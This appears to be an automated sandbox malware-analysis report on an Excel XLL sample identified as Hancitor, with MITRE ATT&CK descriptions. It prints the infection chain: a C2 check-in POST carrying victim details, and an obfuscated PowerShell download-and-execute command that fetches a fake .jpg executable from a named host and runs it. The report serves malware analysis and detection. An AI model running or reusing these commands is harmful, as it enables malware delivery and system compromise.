Jul 8, 2021 16:31:56.101624966 CEST	6033	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:56.167244911 CEST	6033	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4d 4e 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKMNPARRABw==0

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 6120 Parent PID: 5616

General

Start time:	16:30:07
Start date:	08/07/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /dde
Imagebase:	0xb0000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: mshta.exe PID: 5756 Parent PID: 6120

General

Start time:	16:30:10
Start date:	08/07/2021
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Imagebase:	0xc10000
File size:	13312 bytes
MD5 hash:	7083239CE743FDB68DFC933B7308E80A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.225595145.0000000006590000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.224640872.0000000002F76000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.227307568.0000000002F76000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.225197640.0000000002F76000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.224221003.0000000002F76000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.225049085.0000000002F76000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	moderate

Analysis Process: powershell.exe PID: 5944 Parent PID: 5756

General

Start time:	16:30:11
Start date:	08/07/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
Imagebase:	0xe50000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000002.00000002.348453730.0000000004B30000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000002.00000003.262530252.0000000007E07000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	high

Analysis Process: conhost.exe PID: 3412 Parent PID: 5944

General

Start time:	16:30:12
Start date:	08/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exe PID: 5788 Parent PID: 5944

General

Start time:	16:30:31
Start date:	08/07/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle c:\Users\Public\snd32sys.exe
Imagebase:	0xe50000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: snd32sys.exe PID: 2160 Parent PID: 5944

General

Start time:	16:31:07
Start date:	08/07/2021
Path:	C:\Users\Public\snd32sys.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\snd32sys.exe'
Imagebase:	0x610000
File size:	763392 bytes
MD5 hash:	ED1921467F6784AF6BDCA40A06A541B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000010.00000003.437644933.00000000012F0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 0708_5355150121.xll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Hancitor

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Location Tracking:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre